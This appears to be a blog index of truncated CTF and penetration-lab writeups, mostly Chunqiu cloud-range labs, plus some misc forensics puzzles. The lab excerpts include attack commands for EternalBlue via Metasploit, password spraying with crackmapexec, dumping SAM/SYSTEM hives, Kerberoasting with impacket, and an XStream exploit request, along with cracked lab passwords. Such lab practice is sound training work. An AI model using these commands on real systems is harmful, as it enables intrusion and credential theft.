春秋云境-2022网鼎杯半决赛复盘
访问过去是wordpress
弱口令admin/123456成功进入后台
给404页面写个马进去
蚁剑连上去,拿到第一个flag
fscan扫内网,除了本机还有四台机器
搭建frp
先打永恒之蓝
12345proxychains4 msfconsoleuse exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcp_uuidset RHOSTS 172.22.15.24exploit
dump哈希
打pth拿到第二个flag
访问这台我们打下来的机器,admin/123456弱口令进后台
这里有很多邮箱,全部复制下来去掉xiaorang.lab的后缀做成一个字典
接下来打AS-REP Roasting
找一下有spn的用户,有两个
hashcat分别爆破出密码
lixiuying/winniethepooh
huachunmei/1qaz2wsx
bloodhound收集信息
用户lixiuying有G ...
NepCTF2025 Writeup
今年打娱乐局
游戏题给我打爽了
MiscNepBotEvent查了一下这是linux用evdev捕获的数据,写个脚本还原一下
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677import structfrom datetime import datetimeKEY_MAP = { 2: ("1", "!"), 3: ("2", "@"), 4: ("3", "#"), 5: ("4", "$"), 6: ("5", "%"), 7: ("6", "^"), 8: ("7&quo ...
春秋云境-Delivery
fscan扫一遍
有匿名登陆ftp,里面有两个文件,下载下来
看pom.xml,里面有xstream的依赖,根据版本可以找到对应的洞CVE-2021-29505
在自己vps上监听
传poc弹shell
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768POST /just_sumbit_it HTTP/1.1Host: 39.99.145.25:8080Content-Length: 3115Accept: application/xml, text/xml, */*; q=0.01DNT: 1X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 S ...
春秋云境-Hospital
先上fscan扫一遍,发现有heapdump泄露
访问/actuator/heapdump下载
用工具分析,得到shirokey
直接弹shell
这里是suid提权,查找这个vim.basic
根据gtfobins上查到的进行利用
再写个ssh公钥进去,方便后面的操作
传fscan扫内网,除本机外还有两台机器
搭建frp
可以看到有台机器上面有nacos存在漏洞,这里打snakeyaml
修改AwesomeScriptEngineFactory.java,改为添加一个管理员用户
点击生成jar.bat生成恶意jar包
将payload上传到刚刚打下来的机器中
在/tmp下开启web服务
先访问这台服务器
nacos/nacos弱口令登录,得到dataid和group
用gui加载恶意jar包
rdp连接上,得到flag
接下来打另一台机器
给bp配一下代理
用bp的浏览器访问一下,是一个后台
随便输点什么,抓个包
用fastjson-exp插件打fastjsonecho拿到flag3
写个ssh ...
春秋云境-Exchange
先上fscan扫一遍
8000端口是后台,admin/123456弱口令登录
右上角官方插件点出来是华夏erp,这里可以打jdbc反序列化
起一个恶意mysql,config.json配置如下,ysoserial-all.jar放在同一路径下
1234567891011121314151617181920212223{ "config":{ "ysoserialPath":"ysoserial-all.jar", "javaBinPath":"java", "fileOutputDir":"./fileOutput/", "displayFileContentOnScreen":true, "saveToFile":true }, "fileread":{ "win_ini" ...
春秋云境-Delegation
进去是个cms,访问/admin自动跳转到了后台
弱口令admin/123456登陆成功
可以找到漏洞CVE-2021-42643,写入一句话
蚁剑连接
可以找到flag,但是还没有权限读
利用diff命令suid提权
上传fscan扫内网
除本机外还有三台主机,根据前面的提示先看WIN19,扫一遍发现开启了3389端口
搭建frp
根据提示尝试用rockyou爆破,得到密码babygirl1,但是过期了
proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p /usr/share/wordlists/rockyou.txt -d WIN19
远程连接修改密码
桌面上有个文件夹,打开里面的html文件看一下,其中提到了可以修改计算机的注册表的gupdate
写一个1.bat,传上去
123reg save HKLM\SYSTEM C:\Users\Adrian\Desktop\systemreg save HKLM\SAM C:\Users\Adri ...
春秋云境 Certify
一如既往先上fscan扫一遍
8983端口有个solr,可以看到存在log4j,这里存在log4shell漏洞
用现成工具弹shell
看不了/root,需要提权发现这里可以sudo提权,grc命令配置错误
上传fscan扫一下内网,除本机外还有三台主机,一台域控,一台windows server,一台ubuntu是ftp服务器
搭建frp
题目中提示smb,那么尝试通过smb服务访问文件服务器,得到第二个flag
回到上一级,下载db文件
连接上查看一下,可以在一个表中找到四个密码,但是不知道用户名,在另一个表中有大量用户名
对windows server尝试密钥喷洒
proxychains4 crackmapexec smb 172.22.9.26 -u user.txt -p password.txt
找到正确的
xiaorang.lab\zhangjian:i9XDE02pLVf
前面的提示中提到了spn,找一下域用户的spn,找到了两个用户
1proxychains4 impacket-GetUserSPNs -request - ...
L3HCTF2025 Writeup
还是太菜了,签了个到就遗憾退场了,感觉脑子越来越转不动了,跟出题人的脑电波越来越对不上了
Misc量子双生影在尝试将图片传到wsl里时就自己分成了两张图片
把多出来的那张与原图异或一下,得到另一个二维码
扫出来就是flag:L3HCTF{Quantum_ADS_XOR}
MOCSCTF2025 Writeup
帮联队里别的师傅看的比赛,做了点简单题
Miscez-picture伪加密改回去解开压缩包
对于key.txt:base100 -> base64
用key对flag文件异或,得到一个png
爆破png的宽高,修改为正确的值即可看到flag
12345678910111213141516171819import binasciiimport structcrcbp = open("download.png", "rb").read() #填入图片名crc32frombp = int(crcbp[29:33].hex(),16) print(crc32frombp) for i in range(10000): for j in range(10000): data = crcbp[12:16] + \ struct.pack('>i', i)+struct.pack ...
R3CTF2025 Writeup
R3的题还是太顶了,题量大但只会签到(
ForensicsThe R3 Pig Problem打开可以看到很多tcp流,这些tcp流的时间戳存在规律
提取出来,计算时间差,接近0.02的记为0,接近0.1的记为1
1234567891011121314151617181920212223242526272829def classify_time_diff(diff): if abs(diff - 0.02) < abs(diff - 0.1): return '0' else: return '1'def process_file(filename): with open(filename, 'r') as f: lines = f.readlines() result = [] i = 1 while i < len(lines)-1: try: current = float(lines[ ...